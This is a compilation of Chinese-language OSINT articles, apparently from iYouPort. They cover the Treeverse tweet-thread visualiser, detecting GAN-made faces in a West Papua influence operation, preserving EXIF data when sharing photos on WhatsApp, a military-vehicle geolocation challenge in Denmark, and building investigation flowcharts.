
99、zerodollarmovies.com —— 大量的免费电影。

100、upwork.com —— 找到自由职业者和领域专家来处理任何类型的项目。如果有您自己不会做的事，可以来这里寻求帮助。

好啦，就是这样！希望本文中推荐的网站对您有用:) 玩得开心。〇

广告

原文

追踪人际关系：可视化推文的简易小工具 - iyouport

开源情报-每个人都可用的武器

很方便使用。比如用来追踪信息战

Treeverse 是一种用于可视化和导航 Twitter 对话线程的工具。 它可作为 Chrome 和 Firefox 的浏览器扩展程序使用。

Chrome: https://chrome.google.com/webstore/detail/treeverse/aahmjdadniahaicebomlagekkcnlcila?hl=en

Firefox: https://addons.mozilla.org/en-US/firefox/addon/treeverse/

简介

「图」

为您的浏览器安装 Treeverse 后，打开Twitter，点击您想把对话可视化的任何推文（比如试试这个）。

如果您使用的是Chrome浏览器，Treeverse 的图标应该在您的浏览器中从灰色变成蓝色。点击它就可以进入Treeverse。

如果您使用的是 Firefox，则该图标将被隐藏，直到您打开目标推文，然后它才会出现在地址栏中。

下一步，探索对话。

对话被可视化为一个树形图。每个框是一条单独的推文，两个框之间的线表示下面的推文是对上面的推文的回复。线的颜色表示两条推文之间的时间长度（红色较快，蓝色较慢）。

当您把鼠标悬停在节点上时，该条推文之前的回复链会出现在右侧窗格中。通过点击一个节点，您可以与右侧窗格互动。通过点击树形窗

口中的任何空白地方，您可以解除对推文的冻结，并返回到正常的动态。

一些推文会出现一个红色的圆圈，里面有白色的点，要么叠加在上面，要么作为一个单独的节点。这意味着有更多对该推文的回复没有被加载。双击一个节点将加载对该推文的额外回复。

隐私保护

「图」

Treeverse 完全在您的浏览器中运行。当您安装 Treeverse 或探索一个树形关系图时，Treeverse 不会直接收集或跟踪任何数据。只有当您点击 “创建可共享链接” 按钮时，该扩展才会与 Treeverse 服务器进行通信，在这种情况下，当前的树形图会被发送到一个服务器上，这样它就可以提供给其他人。可以跟踪对共享链接服务器的访问以防止滥用。

所有浏览器扩展程序的安装都可能会被谷歌和Mozilla追踪，而对 Twitter 的数据请求可能会被 Twitter 追踪。此外，当 Treeverse 运行时，它会加载一个由 Google Fonts 托管的字体。谷歌可能会跟踪这一下载。这些是在您的威胁模型中需要考虑的东西。

Treeverse 基于 MIT 许可分发。代码可在 GitHub 上找到。

如果有什么问题，在这里报告。〇

原文

追踪网络水军团队：如何识别机器学习制造的假人脸-案例 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年12月10日存档】这是一个很简单的信息战追踪演示案例，但它提出了一个很好用的方法，以识别造假的人脸

【注】*bellingcat* 做了一个追踪社交媒体水军网络的演示案例，其中涉及到一个识别造假人脸的技巧，它很有用。希望您可以学到这一技巧。

一个旨在对抗西巴布亚独立运动的新的在线舆论操纵行动已经出现在著名的社交媒体网站上。

虽然这个由100 ~ 200个账户组成的新信息战网络到目前为止还没有产生什么巨大的影响，但是，它似乎横跨 Twitter、Facebook、Youtube 和 Instagram，其使用的方法是以前在围绕西巴布亚独立运动的开源情报调查中没有被记录过的新形式。

📌 这些方法包括部署使用机器学习工具生成的虚假个人资料图片的账户，以及使用似乎旨在影响国外辩论的荷兰语和德语帖子。

尤其是，该网络还采用了以往调查中从未被发现过的做法，如：使用带有被盗个人资料图片的假账户、反独立运动信息图表、和一个自托管的新闻网站，传播支持西巴布亚“特别自治”而非完全独立的内容。

【注：您可以将西巴布亚的案例理解为“香港”，特别自治就类似于现在的香港作为所谓的自治区的形式，以此来拒绝其独立】

荷兰莱顿大学的单独研究似乎是第一个发布调查结果的。Bellingcat 之前关于这一主题的调查揭示了2019年10月与西巴布亚有关的大型跨平台政治宣传行动，并将其归咎于一家名为 **InsightID** 的雅加达通信公司。随后，社交媒体平台清除了大部分涉及的内容、页面和账

户，InsightID 被关闭并彻底消失。

但现阶段还不清楚谁或什么组织机构是这一新的信息战网络背后的主使者。

街头冲突；在线压迫

关于西巴布亚独立的争论由来已久，而且斗争激烈。

西巴布亚是一个矿产资源丰富的前荷兰殖民地，在1969年有争议的全民投票后成为印度尼西亚的一部分。许多西巴布亚人仍然渴望独立，并表示他们经常面临印尼当局的种族主义和歧视。

然而，印度尼西亚继续坚决反对西巴布亚独立的前景。

最近的示威活动中，抗议者与印尼军队发生冲突，军队向支持独立的抗议者开火。

但是，这场争论和战斗也同时在网上展开，似乎正在努力操纵对话。

正如下面的研究所发现的那样，使用计算机生成的图像来制作虚假的用户资料，似乎是这场信息战的关键手段之一。

然而这种做法虽然耐人寻味，而且很棘手，难以立即发现，但最终还是帮助调查人员揭开了这个信息战网络。

虚假的个人资料

如今，通过 thispersondoesnotexist 这类网站，创建一个完全不存在的假人脸可以非常容易，只需点击一个按钮就可以完成。

虽然这类工具效果不错，但也并非没有缺陷。

图像可能肉眼看上去很完美，但仔细观察就能发现一些瑕疵，比如一组不匹配的皱纹或不完美的对称性。

这些图像是通过所谓的生成式对抗网络（GAN）创建的。这是一类机器学习框架，它可以从选定的旧的真实世界图像中创建新的虚假图像。

这些信息战行动很可能使用**GAN**，因为这样做可以防止研究人员使用反向图像搜索工具来识别可能从社交资料中窃取的图片，这种做法以

前出现过。

尽管如此，研究人员依旧从头开始确定分析GAN图像的方法。一个关键的启示是：眼睛的位置。机器学习制作的假人脸的眼睛总是保持在同一个水平位置上，这就使研究人员能够开发技术来发现这种特征。

社交媒体分析公司 Graphika 的 Ben Nimmo 将最近在一个信息战网络中发现的GAN图像进行了“分层”。从下图可以看出，眼睛在完全相同的水平位置上，这在真实照片中是不会发生的。

在推特追踪信息战网络

通过监测 #WestPapua 和 #PapuanLivesMatter 这两个热门标签，首先在 Twitter 上发现了与西巴布亚独立问题相关的最新信息战网络。

第二个标签是在今年早些时候西巴布亚的抗议活动从美国的BLM运动中获得灵感后被广泛使用的。

没过多久，人们就发现，一些关注者寥寥无几的账号在这些标签上滥发内容，这些内容链接到多个相同的网站。

仔细观察就可以发现，许多垃圾推特账号都是在2020年6月、7月和8月创建的。这场宣传战行动的一个明显标志往往是多个账户联动，但每个账户的关注者都很少，它们大约在同一时间创建，并且都关注单一的问题。

下面的截图就是这一时期创建的账号之一。

有关账户似乎经常链接到的最重要网站是：papuanlivesmatter.com。

该网站分享的文章一般都支持西巴布亚特别自治而不是独立的想法，支持印尼对西巴布亚的“良好影响”，并批评任何反对自治的活动家。

本次调查收集了过去两个月内使用上述流行标签并链接到 papuanlivesmatter.com 的账户。在这些账户中，有21个账户被标记为测试，以确定他们是否使用GAN生成的图像。

这只是发布 papuanlivesmatter.com 文章的可疑账户的一个样本，还有更多的账户显示了没有使用人脸类型的个人资料图片，或者似乎是从 Instagram 上偷来的图片作为头像。

以下是这21个账号的样本，目的是为了展示他们的个人资料细节：

这是平铺视图中的那些面孔：

您可以看到，在每幅图像中眼睛位置都是保持不变的，您可以据此怀疑它们是由机器学习平台创建的：

进一步挖掘这些图像，还可以看到机器学习合成的人脸的其他明显迹象：

上图中的箭头突出了差异和瑕疵，包括眉毛似乎不匹配、帽子上的标志和遮阳帽周围有不一致的地方，似乎在左手边有明显的多余部分。

这张图片被用作一个讲德语的账号的个人资料，该账号发布了针对寻求独立的团体的反制措施，如下图所示。

在这个信息战网络中还有一些英语帐户，它们使用的是非常简短的个人介绍，例如下面的帐户声称自己是 “澳大利亚记者” [原文如此]。

还有其他帐户使用荷兰语进行交流，其中一些帐户已成功吸引了一定数量的关注者。其中一些追随者似乎是真实的 Twitter 用户。也就是说，它们已经成功骗到了真人。

该信息战网络有一种倾向，即：围绕任何可能给独立运动带来积极影响的事制造假新闻，或者对支持西巴布亚的活动家和追求独立的人所使用的许多论点提出质疑。

这方面的一个例子可以从下面的推文中看到，该推文描述并链接到 papuanlivesmatter.com 网站和一篇关于支持独立的政党据称制造 “骗局” 的虚假的新闻文章。

在 **Facebook** 跟踪这个信息战网络

这场信息战行动还延伸到了 Facebook 上，采用了与推特上类似的策略。

我们能够用来寻找发布相同内容的账户的一个具体关键字是 “巴布亚特别自治”。通过这些账户上列出的 “朋友”，可以进一步识别出潜在的水军账户。重复搜索发布到 Facebook 的 Twitter 内容，也能发现更多的水军账户。

以下是该搜索的部分结果。

「图」

这次调查没有广泛搜索作为这场信息战行动的一部分可能出现在 Facebook 上的所有账户，但它确实确定了至少8个样本，可以提出一种方法用来确定它们是否属于 Twitter 上的同一信息战网络。

根据 “朋友”关系、活动模式、和个人资料图片，评估了这八个账户的有效性。大多数账户没有 “朋友”，而其中三个账户在 Facebook 上最多有10个朋友 —— 其中一些人相互链接，或者更多的账户显示出与该信息战网络其他部分相似的特征。

这8个账户的个人资料图片，似乎也是使用GAN方法人为制作出来的，如下图所示：

正如之前所详述的，怀疑为GAN制作的图像时应该始终评估眼睛的位置，并且还要注意到其他的额外细节。

例如，在下面的图片中，从 Facebook 的一个个人资料中提取，我们可以看到图像未能正确 “融合” 的多个细节。包括眼睛在内的细节通常会成为GAN创建图像的一个弱点。

在上述标记出方框的位置上，您可以看到有多余的线条、缺乏对称性和不自然的曲线，自然拍摄的图像绝不会这样。

在下图中，我们可以看到其中一只耳朵有耳环，而另一只没有。左边的耳朵也是微微外翻。其他几个不一致的地方也存在。

至于这些 Facebook 账户曾经发布过的内容中，似乎没有任何正常的人类活动、爱好或兴趣的细节。这些账户的存在似乎仅仅是为了发布批评西巴布亚独立运动的内容。

然而，有迹象表明，一些被查明为信息战水军的 Facebook 账户可能是偷来的 —— 它们有 “前主人”。其中一些账户有大量的真实人类用户追随者，一些账户有原始的封面照片 (为保护隐私，这些照片被遮住了)。这可能表明，这些账户曾被黑客攻击或劫持。

并且上述账户正在关注👇 另一个虚假账户 —— 这就是为什么称其为 “网络”，它们彼此关注，联合行动：

信息图表似乎是在 Facebook 上放大信息的标准手段。在这里发现的所有水军账户似乎都会在某个阶段发布带有详细说明反独立情绪的信息图的帖子。有时，它们也会链接到常见的URL。以下是其中一个水军账户的图片发布历史的例子：

在这个信息战网络中，我们注意到的一个新特点是，除了英语之外，这些水军还使用荷兰语和德语的帖子来放大它们传播的内容的覆盖面。早前发现的信息战网络曾主要使用英语作为交流手段。

这个新的 Facebook 信息战网络还试图给荷兰的城镇打上标签，很可能是希望搭载与这些热门地点相关内容的“快车”，以便进入搜索结果列表。例如，在下面的关于特别自治的帖子中，一些荷兰城镇被作为标签列出：

整个 Facebook 信息战网络都反复使用这种策略。下面是另一个使用相同的荷兰城镇标签的示例：

上述帖子是由一些自称是“新闻来源”的 Facebook 页面发布的。这些账户一般也张贴了与该信息战网络中许多其他水军账户相同的信息图，以及关于西巴布亚独立和特别自治问题的信息图。

以下是显示这些信息图表的最新帖子的截图。

在 **Instagram** 上追踪该信息战网络

Instagram 上该信息战网络再次出现了与 Twitter 和 Facebook 上相同风格的账户。这些水军账户交叉发布与之前在该信息战网络上看到的相同的信息图表，并使用了GAN创建的个人资料图片。

下图显示了7个使用GAN个人资料图片的账号在 Instagram 上的发布活动。看来，这些账号发布的信息图都带有反独立情绪。

通过 Google Chrome 浏览器中的开发人员工具，可以访问完整尺寸的 Instagram 个人资料图片，以进行仔细检查。

以下是从 Instagram 收集到的一些水军账户个人资料图片的平铺展示。同样，您可以看到，眼睛的位置很可疑。

需要说明的是，这次研究还发现了其他可疑的 Instagram 个人资料，发布了详细说明反独立情绪的信息图，这些账户使用了名人、动漫人物、或者从其他地方取得的图片作为资料图。 这些账号极有可能也是假的。

通过 **YouTube** 追踪信息战网络

还有证据表明，YouTube 可能被用来放大该信息战网络的宣传内容。

papuanlivesmatter 网站链接到相关水军账户使用的各种社交媒体平台。其中一个是该网站的 YouTube 频道。

该频道包含与其他社交平台性质相似的内容，详细说明了为什么西巴布亚作为印度尼西亚的一部分“会更好”，并声称西巴布亚分离主义者提供“虚假信息”。

具有讽刺意味的是，这些视频直接针对 Veronika Koman 等特定的著名人权活动家，声称他们“为个人和团体利益煽动和散布恶作剧”。

另外两个 YouTube 账户(如下) 也上传了类似的内容。他们在个人简介中使用西方名字，上传的内容主要是关于印度尼西亚统治下的西巴布亚、西巴布亚特别自治的好处、以及再次试图诋毁寻求独立者的短视频。

许多视频报告的图文设计特征、风格、字幕和背景与过去以西巴布亚为重点的信息战行动中发布的视频相似。

以下是一系列详细介绍 Bellingcat 去年确定的信息战中使用的视频截屏。

在最近出现的信息战宣传视频中也采用了类似的风格，下面，很多视频都有“更好的巴布亚社区”的标签。

其中一些视频还出现在 papuanlivesmatter 网站上，该网站经常被上述虚假的 Twitter 和 Facebook 水军账户转发。

最近发布的一些 YouTube 视频也采取了荷兰语的标题，这与之前在 Twitter 和 Facebook 上发布的帖子有着明显的相似之处。

与调查人员记录到的 Facebook、Twitter 和 Instagram 假账户一样，这些视频似乎影响甚微。有些视频的点击量不到10次。然而，它们确实表明，这些信息战背后的人花费了相当多的时间来加强该水军网络旨在放大影响力的内容。

从网站识别该信息战

从上述社交媒体平台 —— 特别是 Twitter 和 Facebook —— 可以看出，该信息战网络特别链接到一个网站：papuanlivesmatter.com。

根据该站点的注册详细信息显示，它于2020年6月22日创建。

尽管域名注册细节保密，但位置被列在了印度尼西亚日惹。虽然这不是决定性的，但它可能表明网络的起源和位置。

此外，似乎也没有网站本身的联系方式信息，只有一个 “contact” 标签链接到该网站，而不是电子邮件地址或表格。

从上述所有证据中似乎可以清楚地看出，最近几个月，一个以西巴布亚独立运动为针对目标、并带有亲印度尼西亚官方立场的新信息战行动已经在主要社交网络上展开。

虽然到目前为止，该信息战网络的影响还不那么大，但使用虚假的用户个人资料图片、以及使用荷兰语和德语，并在 Facebook 的帖子中标记荷兰城镇，这些做法与以前发现的信息战宣传活动有很大不同。

社交媒体公司是否能够利用后台数据进一步调查，以确定并追究背后的责任人或组织，还有待观察。〇

📌 关于公民调查人员如何操作取证的思考方式，不要错过下面的重要指南：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》

West Papua: New Online Influence Operation Attempts to Sway Independence Debate

原文

追踪调查的技巧：如何将EXIF数据保留在WhatsApp中 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年11月17日存档】大赦国际危机应对小组分享了一个提示，这对调查人员来说会很有帮助

您知道，大多数社交媒体工具都会将您分享的图片中的元数据剥离出来，并对其进行压缩；虽然这样做有很好的隐私和优化理由，但也让开源调查人员很难确定照片中的人是谁、他们在做什么（为什么）、以及在哪里和何时拍摄的。

在缺乏可靠的元数据的情况下，调查人员只能求助于耗时的内容分析和利用图像中的特征进行地理定位。但不一定要这样。

我们收到的许多图片都是来自值得信赖的来源，使用的是像 WhatsApp 这样的常用工具。在 WhatsApp 上分享图片和视频同时保留元数据其实可以很简单。

所以请将此指南分享给您的联系人，它解释了一个小技巧，可以为您节省很多时间。

【注】WhatsApp 不是被推荐的应用，但使用它的人实在太多了，于是记者和调查人员不得不通过 WhatsApp 联系他们需要的信息源及接收信息。于是您应该了解：

- 《如果您必需使用 WhatsApp：这里是减少伤害的办法》
- 《是否需要备份以及该如何安全地备份 WhatsApp？》
- 《警告：WhatsApp文本流中的恶意链接》
- 给开源调查人员《挖掘 WhatsApp 情报的技术和技巧》

什么是EXIF数据

「图」

EXIF 是 Exchangeable Image File Format（可交换图像文件格式）的缩写，是数字图像特有的一种元数据。当您用数码相机或手机拍摄照片时，一个包含照片信息的文件会被嵌入到图像本身。这可以包括图像大小、日期、时间、相机设置、地理位置数据（如果相机或手机有GPS功能）和版权信息。

EXIF，尤其是地理标签数据可以揭示出拍摄图像的人的大量信息。这就是为什么大多数社交媒体平台都会删除这些数据 —— 以保护用户的隐私。

如何在 **WhatsApp** 上共享图像时保留**EXIF**数据

「图」

WhatsApp 是端到端加密的，理论上这意味着我们发布的信息(和附带的文件)不能被第三方阅读，包括WhatsApp本身。作为最常用的社交媒体消息应用程序，WhatsApp是许多人权调查人员用来与当地联系人沟通和交换敏感材料的工具。

以正常方式分享图像会删除所有元数据并压缩文件。要发送全分辨率的图像，同时保留EXIF数据，您需要停止分享相机卷中的图像，而是以文档附件的方式分享。不管您是在桌面、iPhone 或 Android 手机上使用 Whatsapp，这个技巧都会有效，下面是说明。

逐步操作的方法如下：# 打开WhatsApp对话

- 单击附件图标」文档
- 点击浏览其他文档...
- 现在选择您要发送的图像。
- 要添加更多图像，请点击并按住要选择的照片，然后继续选择要发送的照片。您可以通过这种方式发送多少张照片没有限制。

当然，不同的操作系统和不同的设备之间会有一点差异。

在桌面版

「图」

如下所示：

在iPhone上

「图」

在Android上

「图」

如何读取EXIF数据

「图」

有很多工具可以读取EXIF数据，包括一些嵌入在操作系统中的工具。以下是一些读取和编辑EXIF数据的简单方法 —— 是的，您还可以编辑和删除EXIF数据。

1、在Windows上 —— 选择要检查的图片，单击鼠标右键，然后选择“属性”。您可以添加或完全删除元数据。

2、在Mac OS上 —— 打开照片，选择“工具”」“显示检查器” 或按键盘上的 Command ＋ I。您可以在此处删除位置，或使用其他工具来编辑或删除所有元数据。

3、InVid-WeVerify 浏览器插件是数字验证的 “瑞士军刀”，它有一个元数据标签，允许用户检查 jpeg/tiff 图片的EXIF数据，或者 mp4/m4v 格式的视频的元数据。可以通过链接或本地文件进行。

4、在网上，有一系列的工具可以用来查看元数据，但您必须在互联网上上传图片（如果已经在线，也可以链接到它）：Jeffrey’s Image Metadata Viewer 、Metapicz、Verexif 和其他许多工具。

需要了解的

「图」

最后，关于共享具有完整元数据的图像的一些重要注意事项：

1、分享带有完整元数据的图片会让人处于危险之中。分析照片的位置、时间和日期，结合设备的独特ID，就会暴露摄影师的身份。

请确保当事人同意分享他们的信息，并了解任何潜在的风险，甚至是

一些他们可能想不到的风险。

2、要知道，EXIF数据是可以编辑的，所以它并不是100%可靠，但对于开源调查者来说，如果能结合其他技术一起使用，它可以是一个很好的开始。

3、将图像作为文档发送将发送未压缩的文件，这将花费更多的流量和时间。所以注意这点。

4、您无法阻止EXIF元数据被添加到您的照片中，尽管您可以通过简单地在相机或相机应用程序中关闭它来防止地理标记。您还需要建议您的联系人保持地理定位禁用作为操作，只在需要时启用。〇

Sending encrypted photos while preserving metadata

原文

那辆军车正驶向哪里？：侦探挑战时间 - iYouPort

开源情报-每个人都可用的武器

继续不定期更新系列。这是新一期的侦探挑战游戏

「图」

「图」

这一游戏是日常练习，帮助您在各种情况下培养获取证据和挖掘真想的思考方式。您可以在栏目中看到更多相关内容。

今天的挑战主题是图像定位，主角是一辆身份不明的军用车辆。

Doxsor 发布了这张图片，提问：这辆军车前往哪里，以及哪个军营离该地点最近：

「图」

「图」

你经常会在网络上看到其他人发布一些军车的照片或视频，并同时声称某某军正在进入某某地点。但它是真的吗？定位技术是您获得判断的唯一方法。

今天的挑战是练习军车识别和探索军事单位组织和结构的好机会。

开源情报分析是一个非常广泛和多样化的学科，其中就包括能够识别军用车辆和那些使用它们的人的能力，这会成为调查的一个重要组成部分。

延伸：曾经演示过的一个调查《如何使用数字技巧在线验证中东冲突中的战斗伙伴关系》。

本文的其余部分将介绍在找到正确的位置之前，如何识别车辆和军事

部门。

坦克和装甲战车

有多种方法可以开始这一难题，但本文将从车牌开始。

在黄色背景上的黑色6位字母数字可能会属于多个不同的国家，但其中两个最有可能的选项是荷兰和丹麦。

（World License Plates 是这类事物的绝佳资源）

所以，也许如果能找到荷兰和丹麦军队使用的车辆图像，就可以确认车辆类型，然后从那里开始，以确定使用这种车辆的军事部门。

但如何识别车辆？

对于大多数人来说，它看起来像坦克 —— 但这在严格意义上不够正确。

即使您不是军用爱好者，此照片中显示的一些细节也有助于识别一般车型。

它不是坦克。坦克通常要大得多，枪支也更大，装甲更重，并且没有能力在内部运送更多的士兵。

「图」

「图」

测试图中的军车在后方有一个门，如下图所示，表示它设计用于容纳更多的士兵。这意味着该车辆不是坦克，而是一种装甲运兵车，也称为装甲战车。

这很重要，因为这意味着使用这种车辆的部队很可能是侦察/机械化/装甲步兵部队，而不是坦克部队。

「图」

「图」

首先来看看荷兰军队使用的是什么样的履带式军车。

他们使用的唯一符合标准的车辆就是CV90（履带、炮塔、后门，位

置都一致）：

「图」

「图」

接下来再看丹麦军队使用的车辆，唯一可能的匹配也是CV90：

「图」

「图」

事实证明，CV90被许多不同的国家使用。那么如何确定原始图片中的CV90属于哪个国家？

仔细看上面的图，图中丹麦CV90上的牌照的样式与本测试中图像的牌照相同。黄色圆圈标志后跟五位数字的模式非常相似：

「图」

「图」

「图」

「图」

相同的符号和相似的数字序列（75 1xx）足以确定这个CV90属于丹麦军队而不是任何其他国家。

部队和军营

因此，如果CV90是丹麦的，是否有可能找出它所在的位置、以及拍摄照片时它可能会到达何处？

幸运的是，丹麦军队规模很小，其主要作战部队仅在两个不同的地点驻扎。

支援单位还有一些额外的基础设施，但像**CV90**这样的车辆应该是属于前线作战单位的。

这个维基百科页面提供了一些关于军队结构的见解，这个非官方的丹麦陆军网站声称CV90只发给了两个部队，即 the Life Guards 和 the Guards Hussar Regiment。

「图」

「图」

考虑到所有这些因素，似乎只有两个可能的位置，无论是霍尔斯特布罗的第一旅，还是斯劳厄尔瑟的第二旅。

虽然丹麦周围还有其他一些军事基地，但只有这两个驻军似乎拥有使用CV90的战斗部队。

很幸运维基百科还提供了关于丹麦军队的概述，这样就可以看得更清晰了：

「图」

「图」

不过这张图对寻求答案来说有点无益，这图只是表明装备 CV90 的部队分布在 Slagelse 和 Holstebro 之间，这对定位挑战来说实际上没有任何帮助，因为它们相距很远，并且可能位于任何一个位置。

是否有任何线索可以帮助指向正确的方向？

重新看那张图， CV90 背面还有一个额外的细节，表明可能与 Slagelse 有关。仔细看，CV90 背面的这个符号与 Slagelse 的第2旅官方徽章非常相似：

「图」

「图」

「图」

「图」

也就是说，Slagelse 比 Holstebro 更有可能。

尽管如此，要知道，军用车辆经常移动，作战单位几乎可以随时随地部署，因此对可能的位置保持开放态度非常重要。

寻找CV90

出题的人说这辆车靠近一个军营 —— 但两个最有可能的候选答案

（Slagelse 和 Holstebro）位于该国的两端，所以从哪里开始？

首先，重新看原始图像，专注于原始图像左侧可见的路标。这是普通人都会做的事。

「图」

「图」

文字太模糊了，但似乎有 derup；如果您对丹麦地理的了解不多，可以谷歌搜索* derup + Denmark，试试看能不能找到地名。

最清晰的是 Jyderup 镇，距离 Slagelse 不远（约35分钟车程）。

地图显示 Jyderup 附近唯一的主要道路是23号高速公路；但不论如何匹配都找不到看起来正确的位置。

因为根本不是23号路。23号路大部分是单车道路，而测试照片中的道路看起来像是一条多车道高速公路。

标志也非常不同。下图是从23号路向 Jyderup 出口的标志：

「图」

「图」

显然这个标志是白色背景上的红色文字，但本挑战中您需要寻找的是那种标准的高速公路标志，蓝色背景上的白色文字，像下面这样：

「图」

「图」

23号路是错误的；更重要的是，这意味着 Jyderup 不仅不是正确的位置，而且，真正的位置必须在高速公路上。

你最好能选一个大一点的显示器，在电脑上操作会容易很多。

Jyderup 不是正确答案，但是通过上面这段折腾，您应该能了解到，为了找到位置，只需要专注于高速公路而不是任何其他道路，因为带有蓝底白字的标志似乎是高速公路专用的。

图片实际显示的是什么？

再次回到原始图像，看看它有什么其他信息。

已经有了很多关于CV90的细节，但是图像中有什么东西可以用来找到位置吗？如下：

「图」

「图」

1）红色框 —— 这是车辆的阴影，所以，它显示了什么？看那些树木，图像肯定是在夏天拍摄的。

丹麦位于北半球，所以太阳总是在南方。因此，车辆的阴影位于图片右侧的事实必然意味着太阳位于左侧。

这意味着车辆必须大致向西行驶，高速公路的方向必须大致为西—东，不太可能是南北。

理论上时间可能是黎明或黄昏，但相对较短的阴影长度显示这不太可能。

2）绿色框 —— 那个东西看起来是一个电气桅杆的顶部，如电动火车使用的那种。它似乎是一条平行于高速公路的铁路。

搜索电气化铁路照片，以确定丹麦使用的是哪种类型：

「图」

「图」

3）蓝色框 —— 符号显示以-drup结尾的地方的出口，以及以-ov或-on结尾的第二个地方。标志后面还有其他东西是灰色的，也许是道路或桥梁。

所以，把所有信息放在一起，已经可以确定以下内容：

1、该位置位于高速公路上，很可能是西—东/东—西走向；

2、高速公路与电气化铁路平行；

3、铁路必须位于高速公路的北侧，而不是南侧；

4、该位置位于高速公路出口旁边，地名以-drup／-derup结尾，另一

个以-ov / -on结尾；

5、它必须非常靠近 Holstebro 或 Slagelse 的一个军营。

因此，通过严格应用这些标准，可以非常快速地缩小搜索范围。

查看下面的丹麦地图，其中显示了所有主要的高速公路：

「图」

「图」

紧记上述5个标准，要把它们全部应用进去，很快就会知道正确的位置。

看图，E39，E45，E47 和 E55 可以排除，因为它们是南北方向而不是西东。

E20是东西方向的；E20 也离 Holstebro 不远，这意味着 Slagelse 是两个选项中最有可能的地方。

出于这个原因可以决定不把重点放在埃斯比约和科灵之间的E20西段，因为距离任何一个军事基地都很远。

先从哥本哈根到欧登塞开始。目的是：看高速公路的哪一段在北侧有一条平行于它的电气化铁路，然后专注于那条路。

这种方法的优点是可以以卫星模式使用谷歌地图。这个阶段只是在高速公路旁寻找铁路，所以不需要街道细节。

你当然可以在街景模式下看 E20，但这需要很长时间。而使用卫星图的高度也意味着可以在很短的时间内覆盖大面积：

「图」

「图」

经过大约十分钟的检查后发现，E20 的唯一一部分，从东西方向延伸的铁路沿线是 Olby 和 Fjaellebro 之间的区域（Svenstrup 附近有另一个小的区域，但是对街景图的快速查看显示它不匹配）。

Olby-Fjaellebro 区段距离公路仅约20公里，所以它只是一个很小的区域。

目标位置必须靠近出口处；出口必须是以-drup结尾的地名和以-or / -ov结尾的第二个名字。

开始一个非常快速的街景视图查找只关注出口点，在这里看到：33号出口，Vemmedrup / Bjaerskov.

「图」

「图」

这是唯一可能的位置，上述几个标准都符合；但是有一个问题—它看起来不像照片上的样子！

在原始照片中，高速公路旁边有一个堤坝和一些灌木丛，但这里没有堤坝，也没有灌木丛。

正确的地方，错误的观察点

在调查过程中也许你经常会遇到类似的状况：从逻辑上讲，这必须是正确的位置，但是街景图像不匹配。

看起来很矛盾吗？事实上并不存在矛盾。

现在你要做的是使用街景工具重新对照照片，因为你确定分析逻辑是对的。

在原始图片中，观察点距离路标更远，所以这里需要对 Streetview 进行一些调整，然后就会找到这个位置：

「图」

「图」

它看起来几乎是正确的；将街景视图与原始视图进行比较时，该标志似乎也是正确的：

「图」

「图」

但是原图中没有防撞栏。

在尝试尽可能多地调整几分钟之后终于看懂了，街景图位于高速公路

的1号车道（车道内），而原始照片的观察点在2号车道（车道外）拍摄，这就解释了为什么街景图与原始照片之间略有差异 —— 是角度问题。

鉴于原始图像中卡车的位置，也解释了为什么防撞栏不太明显（只是被挡住了）。

所以答案是：Vemmedrup 附近 E20 高速公路的33号出口位置，于是军车 CV90 可以前往的最近的军营很可能是 Slagelse 的 Antvorskov Barracks。

这个游戏演示了一系列思考方式，包括在失败的情况下如何继续推进。下一次再有人上传某种军车照片或视频并宣称什么军队进入了哪里，您应该知道该如何检验这类消息了。○ 广告

原文

重要的小技巧：创建自己的开源情报调查流程图 - iYouPort

开源情报-每个人都可用的武器

掌握技能的关键在于，通过亲手实践，实现举一反N

「图」

「图」

互联网上有许多网站保存了开源情报工具列表，包括我们的列表-5 “开源情报” 栏目。

尽管这些列表都非常有用，但是由于选择过多，有时您可能会迷失在里面。

还是那句话，重要的是思考方式，工具是在思考方式科学确立的前提下提供的辅助。想想看，在您的需求中哪种工具才能提供最佳效果？某种工具是如何工作的？

此外，许多工具仅适用于特定区域，而不是万能的，针对您每一次不同的需求，您需要选择不同的工具，或者将它们以最佳方式组合起来。

例如，一些用于定位人的工具主要在北美或澳大利亚等地区有最佳表现；而同一种工具在欧洲和亚洲可能就不太合适。

因此，是时候创建自己的开源情报流程图了。

aware-online 介绍了这件事该怎么做。《Create your own OSINT flowcharts》

什么是开源情报流程图？

使用流程图，您可以示意性地表示和可视化开源情报调查的进程。流

程图是一种方便的逐步计划，可用于构建您的研究。

- 不要错过思考方式技巧的介绍《开源调查应该是一种心智：得到它你需要几个步骤》

使用流程图，您可以从一个起点开始，然后继续推进深化。

☞ 起点可以是例如研究需要回答的问题或某些能获取到的线索信息，例如 电话号码、电子邮件地址或用户名等。

用于研究电子邮件地址的开源情报流程图的起点可能看起来像这样：

「图」

「图」

开源情报流程图如何工作？

流程图以某些信息（例如电子邮件地址）开头。为了使自己清楚可以使用电子邮件地址执行哪些步骤，将这些步骤放在流程图中会很有用。

例如，在上方这个流程图中包括了“电子邮件」验证”和“电子邮件」域”步骤。这意味着您在调查中可以验证电子邮件地址是否存在/或处于活动状态，并且可以检查是否有与正在调查的电子邮件地址相关联的域名。

开源情报流程图不是已经存在很长时间了吗？

没错。有用的流程图可在 osintframework.com 和 inteltechniques.com 上找到。而且可能还有许多其他网站 —— 您可以使用《新生情报工具（12）》中介绍的“搜脑图”工具，然后使用关键字“OSINT”找到更多有趣的流程图。

尽管这些流程图非常有用，但它们并不总是适用于您本人需求的情况。对于欧洲人/亚洲人，有些热门流程图中的某些部分可能效果不佳。

另外，其他人制作的流程图有时很难理解，因为我们不完全了解它们的含义。这就是为什么您很有必要自己制作适合自己的流程图。

并不是说您能搜到的流程图完全没用哦，对于初学者来说，开源情报社区热门的流程图、尤其是介绍基本思考方式的图，能帮助您理解调查的思路。

创建自己的开源情报流程图

有多种用于创建开源情报流程图的程序。我们更喜欢 **XMind ZEN**，可以在这里免费下载。

选择该软件的原因是它易于使用、图形界面清晰、还有易于导出的能力。

当然，还有许多其他程序也可以做到这一点。

您是否已完成下载和安装程序？然后，您就可以开始创建一个新流程图，并为它选择一个主题。在本案例中选择的是 “经典”。

